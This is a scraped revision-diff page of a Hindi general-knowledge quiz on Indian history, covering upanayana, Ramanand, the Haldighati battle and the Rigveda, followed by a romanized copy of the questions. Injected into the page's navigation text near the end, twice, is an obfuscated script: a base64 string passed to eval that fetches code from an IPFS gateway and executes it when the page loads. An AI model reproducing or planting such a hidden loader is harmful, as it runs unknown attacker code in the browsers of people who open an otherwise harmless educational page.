Difference between revisions of "इतिहास सामान्य ज्ञान 29"

भारत डिस्कवरी प्रस्तुति
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- नायकरण
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|| [[चित्र:Upanayana-1.jpg|right|100px|[[उपनयन संस्कार|उपनयन]]<br /> Upanayana]] 'उपनयन' का अर्थ है "पास या सन्निकट ले जाना।" किन्तु किसके पास ले जाना? सम्भवत: आरम्भ में इसका तात्पर्य था "आचार्य के पास (शिक्षण के लिए) ले जाना।" हो सकता है; इसका तात्पर्य रहा हो नवशिष्य को विद्यार्थीपन की अवस्था तक पहुँचा देना। कुछ गृह्यसूत्रों से ऐसा आभास मिल जाता है, यथा हिरण्यकेशि के अनुसार; तब गुरु बच्चे से यह कहलवाता है "मैं ब्रह्मसूत्रों को प्राप्त हो गया हूँ। मुझे इसके पास ले चलिए। सविता देवता द्वारा प्रेरित मुझे ब्रह्मचारी होने दीजिए।" मानवग्रह्यसूत्र एवं काठक. ने 'उपनयन' के स्थान पर 'उपायन' शब्द का प्रयोग किया है। काठक के टीकाकार आदित्यदर्शन ने कहा है कि उपानय, उपनयन, मौञ्चीबन्धन, बटुकरण, व्रतबन्ध समानार्थक हैं।{{point}}अधिक जानकारी के लिए देखें:- [[उपनयन संस्कार]]
 
|| [[चित्र:Upanayana-1.jpg|right|100px|[[उपनयन संस्कार|उपनयन]]<br /> Upanayana]] 'उपनयन' का अर्थ है "पास या सन्निकट ले जाना।" किन्तु किसके पास ले जाना? सम्भवत: आरम्भ में इसका तात्पर्य था "आचार्य के पास (शिक्षण के लिए) ले जाना।" हो सकता है; इसका तात्पर्य रहा हो नवशिष्य को विद्यार्थीपन की अवस्था तक पहुँचा देना। कुछ गृह्यसूत्रों से ऐसा आभास मिल जाता है, यथा हिरण्यकेशि के अनुसार; तब गुरु बच्चे से यह कहलवाता है "मैं ब्रह्मसूत्रों को प्राप्त हो गया हूँ। मुझे इसके पास ले चलिए। सविता देवता द्वारा प्रेरित मुझे ब्रह्मचारी होने दीजिए।" मानवग्रह्यसूत्र एवं काठक. ने 'उपनयन' के स्थान पर 'उपायन' शब्द का प्रयोग किया है। काठक के टीकाकार आदित्यदर्शन ने कहा है कि उपानय, उपनयन, मौञ्चीबन्धन, बटुकरण, व्रतबन्ध समानार्थक हैं।{{point}}अधिक जानकारी के लिए देखें:- [[उपनयन संस्कार]]
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-[[तुलसी]]
 
-[[तुलसी]]
 
-[[सूरदास|सूर]]
 
-[[सूरदास|सूर]]
||वैष्णवाचार्य स्वामी [[रामानंद]] का जन्म 1299 ई. में [[प्रयाग]] में हुआ था। इनके विचारों पर गुरु 'राघवानंद' के विशिष्टा 'द्वैतमत' का अधिक प्रभाव पड़ा। अपने मत के प्रचार के लिए इन्होंने [[भारत]] के विभिन्न [[तीर्थ|तीर्थों]] की यात्रा की। तीर्थाटन से लौटने पर अनेक गुरु-भाइयों ने यह कहकर रामानंद के साथ भोजन करने से इंकार कर दिया कि, इन्होंने तीर्थाटन में छुआछूत का विचार नहीं किया होगा।{{point}}अधिक जानकारी के लिए देखें:-[[रामानंद]]
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||[[चित्र:Swami-Ramanand.jpg|स्वामी रामानंद|100px|right]]||वैष्णवाचार्य स्वामी [[रामानंद]] का जन्म 1299 ई. में [[प्रयाग]] में हुआ था। इनके विचारों पर गुरु 'राघवानंद' के विशिष्टा 'द्वैतमत' का अधिक प्रभाव पड़ा। अपने मत के प्रचार के लिए इन्होंने [[भारत]] के विभिन्न [[तीर्थ|तीर्थों]] की यात्रा की। तीर्थाटन से लौटने पर अनेक गुरु-भाइयों ने यह कहकर रामानंद के साथ भोजन करने से इंकार कर दिया कि, इन्होंने तीर्थाटन में छुआछूत का विचार नहीं किया होगा।{{point}}अधिक जानकारी के लिए देखें:-[[रामानंद]]
  
 
{[[हल्दीघाटी]] का युद्ध कब लड़ा गया?
 
{[[हल्दीघाटी]] का युद्ध कब लड़ा गया?
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-1605 ई. में
 
-1605 ई. में
 
-1660 ई. में
 
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|| [[चित्र:Haldighati-Udaipur.jpg|right|100px|हल्दीघाटी]]हल्दीघाटी भारतीय इतिहास में प्रसिद्ध राजस्थान का वह ऐतिहासिक स्थान है, जहाँ महाराणा प्रताप ने अपनी मातृभूमि की लाज बचाये रखने के लिए असंख्य युद्ध लड़े और शौर्य का प्रदर्शन किया। हल्दीघाटी राजस्थान के उदयपुर ज़िले से 27 मील (लगभग 43.2 कि.मी.) उत्तर-पश्चिम एवं नाथद्वारा से 7 मील (लगभग 11.2 कि.मी.) पश्चिम में स्थित है।{{point}}अधिक जानकारी के लिए देखें:- [[हल्दीघाटी]]
  
 
{निम्नलिखित में से कौन-सा सबसे प्राचीन [[वाद्य यंत्र]] है?
 
{निम्नलिखित में से कौन-सा सबसे प्राचीन [[वाद्य यंत्र]] है?
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+ पशु चोरी
 
+ पशु चोरी
 
- लूट और राहजनी
 
- लूट और राहजनी
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||[[चित्र:Rigveda.jpg|ऋग्वेद|100px|right]]ऋग्वेद सनातन धर्म अथवा हिन्दू धर्म का स्रोत है । इसमें 1028 सूक्त हैं, जिनमें देवताओं की स्तुति की गयी है। इस ग्रंथ में देवताओं का यज्ञ में आह्वान करने के लिये मन्त्र हैं। यही सर्वप्रथम वेद है। ऋग्वेद को दुनिया के सभी इतिहासकार हिन्द-यूरोपीय भाषा-परिवार की सबसे पहली रचना मानते हैं। ये दुनिया के सर्वप्रथम ग्रन्थों में से एक है।{{point}}अधिक जानकारी के लिए देखें:-[[ऋग्वेद]]
 
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Revision as of 08:00, 8 March 2019

samany jnan prashnottari
rajyoan ke samany jnan


  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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1 nimnalikhit mean se kaun-sa sanskar striyoan evan shoodroan ke lie varjit tha?

choo dakarm
upanayan
namakaran
puansavan

2 'jati pati poochhai nahian koee, hari ko bhajai so hari ko hoee' ye panktiyaan kisaki haian?

ramanand
kabir
tulasi
soor

3 haldighati ka yuddh kab l da gaya?

1526 ee. mean
1576 ee. mean
1605 ee. mean
1660 ee. mean

4 nimnalikhit mean se kaun-sa sabase prachin vady yantr hai?

sitar
tabala
sarod
vina

5 rrigved mean jis aparadh ka sabase adhik ullekh kiya gaya hai, vah tha?

hatya
apaharan
pashu chori
loot aur rahajani

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan


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